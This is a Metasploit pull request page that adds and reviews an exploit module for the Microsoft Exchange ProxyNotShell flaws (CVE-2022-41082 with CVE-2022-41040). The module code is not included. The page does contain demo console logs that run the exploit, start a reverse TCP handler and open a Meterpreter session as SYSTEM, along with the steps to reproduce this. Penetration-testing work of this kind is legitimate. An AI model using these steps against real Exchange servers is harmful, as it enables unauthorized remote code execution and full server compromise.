Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add Exploit For CVE-2022-41082 (ProxyNotShell) #17275

Merged
merged 9 commits into from
Nov 30, 2022

Conversation

zeroSteiner
Copy link
Contributor

@zeroSteiner zeroSteiner commented Nov 17, 2022

This adds an exploit for CVE-2022-41082, AKA ProxyNotShell. This vulnerability is a deserialization flaw in Microsoft Exchange's PSRP backend. The PSRP backend can be accessed by an authenticated attacker leveraging the SSRF flaw identified as CVE-2022-41040. Together, these vulnerabilities allow an authenticated attacker to execute arbitrary commands on a Microsoft Exchange Server. If the "Windows Command" target is selected, no files are written to disk. The deserialization gadgets and their usage details were released this week by ZDI in their blog.

This module has been tested on:

  • Exchange 2019 CU12 Build 15.2.1118.15 (Oct22SU & latest exploitable version)
  • Exchange 2019 CU12 Build 15.2.1118.7
  • Exchange 2019 CU9 Build 15.2.858.5

There's a fair bit of code reuse with the original ProxyShell exploit I wrote so I combined them into a ProxyMaybeShell library to avoid duplication of ~150 lines as well as a datafile. The original ProxyShell exploit was retested.

Troubleshooting

Edit: This should no longer be necessary if the EemsBypass option is set to 'IBM037v1'.

If a vulnerable version isn't exploitable because EEMS M1 is enabled, the check method will report it as safe. You can disable the rule using the IIS manager.

image

Verification

  • Install a vulnerable Exchange Server for example Exchange Server 2019 CU 12.
  • Add a user with a mailbox, log in with them through OWA at least once to set the timezone
  • Use the module, setting the RHOSTS, USERNAME, and PASSWORD options
  • See that the payload executed

Demo

msf6 exploit(windows/http/exchange_proxynotshell_rce) > set RHOSTS 192.168.159.11
RHOSTS => 192.168.159.11
msf6 exploit(windows/http/exchange_proxynotshell_rce) > set USERNAME aliddle
USERNAME => aliddle
msf6 exploit(windows/http/exchange_proxynotshell_rce) > set PASSWORD Password1!
PASSWORD => Password1!
msf6 exploit(windows/http/exchange_proxynotshell_rce) > exploit

[*] Started reverse TCP handler on 192.168.159.128:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Sending stage (175686 bytes) to 192.168.159.11
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.11:7290) at 2022-11-18 17:32:18 -0500

meterpreter >

@zeroSteiner zeroSteiner force-pushed the feat/mod/cve-2022-41082 branch from bbece45 to 29d57dd Compare November 18, 2022 22:10
@zeroSteiner zeroSteiner marked this pull request as ready for review November 18, 2022 22:53
@cdelafuente-r7 cdelafuente-r7 self-assigned this Nov 22, 2022
This updates the HttpSsrf class to retry requests to the Powershell
backend when they fail because they were routed to a new server. Now
when the transport is initialized, it will store the backend used by the
first successful request.
Copy link
Contributor

@cdelafuente-r7 cdelafuente-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks @zeroSteiner for this module! I just left a few minor comments for you to review when you get a chance. I tested both modules (exchange_proxyshell_rce and exchange_proxynotshell_rce) against Exchange 2019 CU9 Build 15.2.858.5 and they work great.

For the exchange_proxynotshell_rce module, I notice an error each time the cmdstager sends a request,, this error is only visible when verbose is set to true. Is it expected?

[-] PSRP error received:
Cannot process argument transformation on parameter 'Identity'. Cannot create object of type "Microsoft.Exchange.Configuration.Tasks.MailboxIdParameter". The LaunchCalch property was not found for the Microsoft.Exchange.Configuration.Tasks.MailboxIdParameter object. The available property is: [EnableGroupMailbox <System.Boolean>] , [RawIdentity <System.String>]
    + CategoryInfo          : InvalidData: (:) [Get-Mailbox], ParameterBindingArgumentTransformationException
    + FullyQualifiedErrorId : ParameterArgumentTransformationError,Get-Mailbox

Comment on lines +139 to +144
if datastore['AutoCheck'] && !datastore['ForceExploit'] && (version = exchange_get_version)
vprint_status("Detected Exchange version: #{version}")
if version < Rex::Version.new('15.2')
fail_with(Failure::NoTarget, 'This exploit is only compatible with Exchange Server 2019 (version 15.2)')
end
end
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Would it be possible to have this version check in the check method instead?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

No, because the difference is in vulnerability versus exploitability. In this case, we're filtering out instances where the target is vulnerable, as proven by our ability to execute the Get-Maibox CmdLet using the SSRF however older versions of Exchange look like they need an alternative Xaml gadget in order to be exploitable for arbitrary command execution.

Or are you saying you just want to print the version in the check method and assign the value to an instance variable to be checked here.

end
end

@ssrf_email ||= Faker::Internet.email
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It looks like this might generate non-unique emails. I assume it is fine to have duplicate emails, but I just wanted to double check if it is not an issue for this exploit.

Also, is the domain part of the email important? I was wondering if it would be useful to have an option for this, in case a specific domain has to be provided. I'm not sure if all of this is relevant for this exploit, but just in case.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Non-unique emails work just fine. All the public PoCs for the SSRF use a hardcoded value here like @evil.com, @localhost etc. I've tried using static values myself, and it works just fine. Technically the part to the left of the @ is unnecessary but IMHO it just makes the request look more sketchy because the email is obviously invalid.

@smcintyre-r7 smcintyre-r7 linked an issue Nov 28, 2022 that may be closed by this pull request
@zeroSteiner
Copy link
Contributor Author

For the exchange_proxynotshell_rce module, I notice an error each time the cmdstager sends a request,, this error is only visible when verbose is set to true. Is it expected?

Yes, that's expected because the object is being deserialized as part of the exploit. The result isn't what exchange expects because it's the payload.

@cdelafuente-r7
Copy link
Contributor

cdelafuente-r7 commented Nov 30, 2022

Thanks for updating this @zeroSteiner. Everything looks good to me now. I tested against Exchange 2019 CU9 Build 15.2.858.5 and verified I got a session. I also make sure the windows/http/exchange_proxyshell_rce module still works as expected. I'll go ahead and land it.

  • Example output
msf6 exploit(windows/http/exchange_proxynotshell_rce) > run verbose=true rhosts=10.0.0.71 [email protected] PASSWORD=123456

[*] Started reverse TCP handler on 10.0.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
PSRP output received:
Mailbox Database 0536956986
...

[+] The target is vulnerable.
[*] Target is an Exchange Server!
[*] Detected Exchange version: 15.2.858.2
[*] Generated command stager: ["echo TVqQAAMAAAAEAAAA//8A
...
[*] Command Stager progress -  96.45% done (97487/101079 bytes)
[-] PSRP error received:
Cannot process argument transformation on parameter 'Identity'. Cannot create object of type "Microsoft.Exchange.Configuration.Tasks.MailboxIdParameter". The LaunchCalch property was not found for the Microsoft.Exchange.Configuration.Tasks.MailboxIdParameter object. The available property is: [EnableGroupMailbox <System.Boolean>] , [RawIdentity <System.String>]
    + CategoryInfo          : InvalidData: (:) [Get-Mailbox], ParameterBindingArgumentTransformationException
    + FullyQualifiedErrorId : ParameterArgumentTransformationError,Get-Mailbox

[*] Sending stage (175686 bytes) to 10.0.0.1
[*] Command Stager progress - 100.00% done (101079/101079 bytes)
[*] Meterpreter session 1 opened (10.0.0.1:4444 -> 10.0.0.1:52049) at 2022-11-30 17:49:43 +0100

meterpreter > sysinfo
Computer        : WIN2019EXCH1
OS              : Windows 2016+ (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : NEWLAB
Logged On Users : 7
Meterpreter     : x86/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

@cdelafuente-r7 cdelafuente-r7 merged commit d3057f1 into rapid7:master Nov 30, 2022
@cdelafuente-r7 cdelafuente-r7 added module docs rn-modules release notes for new or majorly enhanced modules labels Nov 30, 2022
@cdelafuente-r7
Copy link
Contributor

Release Notes

This adds an exploit module for CVE-2022-41082, AKA ProxyNotShell. This vulnerability is a deserialization flaw in Microsoft Exchange's PSRP backend. The PSRP backend can be accessed by an authenticated attacker leveraging the SSRF flaw identified as GHSA-6ph7-8wxv-6gf2. Together, these vulnerabilities allow an authenticated attacker to execute arbitrary commands on a Microsoft Exchange Server.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
Archived in project
Development

Successfully merging this pull request may close these issues.

No results from search can't import module
2 participants